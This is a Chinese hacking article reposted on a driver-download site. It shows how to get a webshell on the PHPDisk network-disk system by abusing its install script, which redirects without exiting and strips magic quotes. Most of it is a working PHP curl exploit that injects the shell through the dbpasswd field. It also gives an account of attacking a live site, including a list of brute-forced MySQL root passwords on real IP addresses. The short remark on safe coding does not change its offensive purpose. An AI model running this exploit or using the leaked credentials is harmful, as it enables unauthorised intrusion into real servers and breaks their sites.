驱动管家:安全、高效、精准的专业驱动下载站!

phpdisk网盘系统存在漏洞?如何利用这漏洞拿shell?

2018-03-06 16:20:52责编:llp   来源:驱动管家     人气:

Author:Yaseng Team:CodePlay

1:代码审计

PHPDISK网盘系统是国内使用广泛PHP和MySQL构建的网络硬盘(文件存储管理)系统,笔者对其源码分析中,发现了一个很有意思的东东…..

phpdisk网盘系统存在漏洞?如何利用这漏洞拿shell?

图一

图一为install下面的index.php,程序安装文件。看上起很正常的代码,当系统安装时,生成一个锁定文件,再次执行install时判断,这里他用了一个Header,而木有exit 。然而php中header 跳转之后代码还是向后执行,可以直接post 数据过去,再来看这个文件 。

phpdisk网盘系统存在漏洞?如何利用这漏洞拿shell?

图二

安装流程全部靠$step,而step 又可以靠POST 控制。 继续找可以利用之处

复制代码

代码如下:

$str = "'$dbhost',".LF.LF;

$str .= "\t'dbname' =>'$dbname',".LF.LF;

$str .= "\t'dbuser' =>'$dbuser',".LF.LF;

$str .= "\t'dbpasswd' =>'$dbpasswd',".LF.LF;

$str .= "\t'pconnect' =>0,".LF.LF;

$str .= "\t'tpf' =>'pd_',".LF.LF;

$str .= "\t'charset' =>'$charset',".LF.LF;

$str .= "\t'debug' =>'0',".LF.LF;

$str .= ");".LF.LF;

$str .= "define('ADMINCP','admincp');".LF;

$str .= "?>".LF;

$fp = fopen($config_file,'w');

if (!$fp) {

exit("Can not open file $config_file.");

}

if(is_writable($config_file)){

if(@fwrite($fp,$str)){

$msg .= "{$config_file} ".__('write_success')."";

}else{

吧post 数据写入配置文件configs.inc.php,可以利用之,继续目测之。

function stripslashes_array(&$array) {

if (is_array($array)) {

foreach ($array as $k => $v) {

$array[$k] = stripslashes_array($v);

}

} else if (is_string($array)) {

$array = stripslashes($array);

}

return $array;

}

if (@get_magic_quotes_gpc()) {

$_GET = stripslashes_array($_GET);

$_POST = stripslashes_array($_POST);

}

哈哈,为了安装方便,竟然去掉了gpc,这下可以直接写入木马了。

2:漏洞利用& getShell 方法

查找写入配置的地方

复制代码

代码如下:

$_l = mysql_connect($dbhost,$dbuser,$dbpasswd) or die(__('could_not_connect'). mysql_error());

if(!mysql_select_db($dbname,$_l)){

mysql_query("create database `{$dbname}`;") or die(__('invalid_query') . mysql_error());

}

@mysql_close($_l);

验证是否可以连接,错误的数据库信息直接退出哦了,看来不能乱写了,只能在dbpasswd 上面下功夫。

首先yy一下system 下的configs.inc.php 文件

'dbpasswd' =>'',);?>',

就可以直接 菜刀连接之

由于没有万恶的gpc 直接POST一个'dbpasswd' = '',);?>'

也就是此时的密码为: ',);?>

此时需要post的 数据包为:

$pass='\',);?>';

$data="step=5&dbhost=localhost&dbuser=yaseng&dbname=yaseng&dbpasswd=".$pass;

当数据库信息正确时,成功写入一句话木马.

phpdisk网盘系统存在漏洞?如何利用这漏洞拿shell?

图四

成功写入shell

3:getShell exp 编写

结束yy,我们来用php 中强大的curl exp,前文我们已然构造出post 传送的数据。然后在根据特征检测是否getShell ,具体代码如下(完整exp 见附件)。

复制代码

代码如下:

$site = $argv[1]; //传入的 网站

$url= $site."/install/index.php";

$pass='\',);?>';

$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass; //exploit data

$ch = curl_init($url);

curl_setopt($ch, CURLOPT_HEADER, 1);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch,CURLOPT_POST,true);

curl_setopt($ch,CURLOPT_POSTFIELDS,$data); //发送post 数据

$result=curl_exec($ch);

curl_close($ch);

$shell="http://".$site.'/system/configs.inc.php';

if(strpos(@file_get_contents($shell),'pconnect')){ //检测是否成功

echo "Hi guy I get the Shell:".$shell;

}else{

echo "Shit !!! This Site:$site Can not get Shell";

}

4:实战演示

其实这种拿shell 方式是极其缺德,破坏configs.inc.php,导致全站崩溃,俺找了个比较新的站点(目测没什么人) 主啊 原谅我吧 …… 实战一番.

找外连数据库啊.菜刀里面找了x个shell 皆不能外联,干 向朋友要了个mysql root 爆破工具,爆破了一批root 。

进入数据库成功... 98.126.4.252 root password

进入数据库成功... 98.126.4.253 root password

进入数据库成功... 98.126.4.250 root password

进入数据库成功... 98.126.4.251 root passwd

进入数据库成功... 98.126.4.254 root password

进入数据库成功... 98.126.4.252 root root123456

进入数据库成功... 98.126.4.253 root root123456

phpdisk网盘系统存在漏洞?如何利用这漏洞拿shell?

随便找了个,本地adminer(一个单文件php MySQL管理客户端) 进去改密码,此时发送的data为(如果不行 请大家自行更换可外链的mysql)

$pass='\',);?>';

$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass;

Php命令行下执行php phpdisk.php

phpdisk网盘系统存在漏洞?如何利用这漏洞拿shell?

Done,成功写入,菜刀连接。

phpdisk网盘系统存在漏洞?如何利用这漏洞拿shell?

Ko !!!

4:总结

本文是Header直接跳转导致绕过的典型文章,php函数使用强大而简单,同时我们不得不谨慎使用如header,preg_replace,eval 之类的危险函数,以免被非法利用。

  • iframe限制的原理 iframe安全限制如何突破?

    iframe限制的原理 iframe安全限制如何突破?

    作者:aullik5今天这篇主要是要讲以下这么几件事情:1 iframe的限制2 突破iframe获取本地cookie的思路3 利用Cross Iframe Trick突破iframe安全限制我的测试环境是: IE 7 (7 0 5730 13)以下所有的内容

    详情2018-03-05 08:58:10责编:llp   来源:驱动管家     
  • 黑客可以通过哪些方法入侵网络?科普黑客入侵的五十种方法

    黑客可以通过哪些方法入侵网络?科普黑客入侵的五十种方法

    现在网上的攻击事件越来越多,黑客都是通过什么方法来攻击我们的呢?下面我们给大家总结了黑客入侵网络的五十种方法,让大家做到有备无患。1 网宽网络有限公司制作的网站基本都有注入漏洞 搜索网宽网络2 搜索栏

    详情2018-02-10 17:07:21责编:llp   来源:驱动管家     
  • update注射测试 update注射有哪些基本模式?

    update注射测试 update注射有哪些基本模式?

    一 测试环境:OS: Windowsxp sp2php: php 4 3 10 (mysql 4 1 9apache 1 3 33二 测试数据库结构:-----start----- 数据库: `test`---- ------------------------------------------------------------

    详情2018-02-12 14:28:46责编:llp   来源:驱动管家     
  • 怎么进行mac欺骗?mac欺骗攻击实战

    怎么进行mac欺骗?mac欺骗攻击实战

    ARP欺骗的攻击和防御技术都比较成熟了,这里也不再阐述。此次重点讲解如何不用ARP欺骗进行嗅探以及会话劫持的技术原理,实际的攻击方法是进行MAC欺骗。一、原理:在开始之前我们先简单了解一下交换机转发过程:交

    详情2018-02-24 09:48:57责编:llp   来源:驱动管家     
  • 不是以下载器为目的磁碟机病毒如何查杀?杜绝磁碟机病毒的方法

    不是以下载器为目的磁碟机病毒如何查杀?杜绝磁碟机病毒的方法

    电脑互联网的逐步递增趋势,导致现在的电脑病毒也开始飞速的发展起来,无疑这对我们的正常使用电脑是种不小的打击。而前几年出现的新型电脑磁盘机病毒,让很多使用电脑的用户头疼不以,那么针对这类的病毒要如何

    详情2018-01-29 11:00:31责编:llp   来源:驱动管家     
  • petya勒索病毒的危害 petya勒索病毒怎么预防?

    petya勒索病毒的危害 petya勒索病毒怎么预防?

    背景:在6月23号我们向您通报了有关“5 12WannaCry”勒索病毒新变种肆虐的消息之后(该次应急通报的具体内容请查看第7-10页),在昨天6月27日晚间时候(欧洲6月27日下午时分),新一轮的勒索病毒变种(本次名为Pe

    详情2018-01-16 19:41:51责编:llp   来源:驱动管家     
  • 脱壳软件有哪些?常用脱壳工具有哪些?

    脱壳软件有哪些?常用脱壳工具有哪些?

    在自然界中,我想大家对壳这东西应该都不会陌生了,由上述故事,我们也可见一斑。自然界中植物用它来保护种子,动物用它来保护身体等等。同样,在一些计算机软件里也有一段专门负责保护软件不被非法修改或反编译

    详情2018-01-19 14:07:23责编:llp   来源:驱动管家     
  • 什么是跨站入侵攻击?怎么寻找跳板入侵网站?

    什么是跨站入侵攻击?怎么寻找跳板入侵网站?

    很多时候在企业网络安全,特别是服务器上数据库安全防范方面需要特别注意,弥补所有漏洞,减少因设置不当带来的入侵事件的发生。然而在实际使用与维护过程中我们经常会听到一个新的名词——“跨站入侵”,那么什

    详情2018-02-17 13:03:54责编:llp   来源:驱动管家     
  • 存在于ask文件的phpcms2008注射漏洞代码是什么?

    存在于ask文件的phpcms2008注射漏洞代码是什么?

    中秋节到了,这里我送上phpcms2008的一枚注射漏洞!!希望各位朋友多多支持本站啊~~漏洞存在于ask search php文件,以下是漏洞代码:if($keywords){$where = " AND title LIKE & 39;%$keywords%& 39; ";}$i

    详情2018-02-16 15:34:17责编:llp   来源:驱动管家     
  • 怎么利用metasploit漏洞的利用工具?

    怎么利用metasploit漏洞的利用工具?

    当连接MariaDB MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据

    详情2018-02-06 15:21:36责编:llp   来源:驱动管家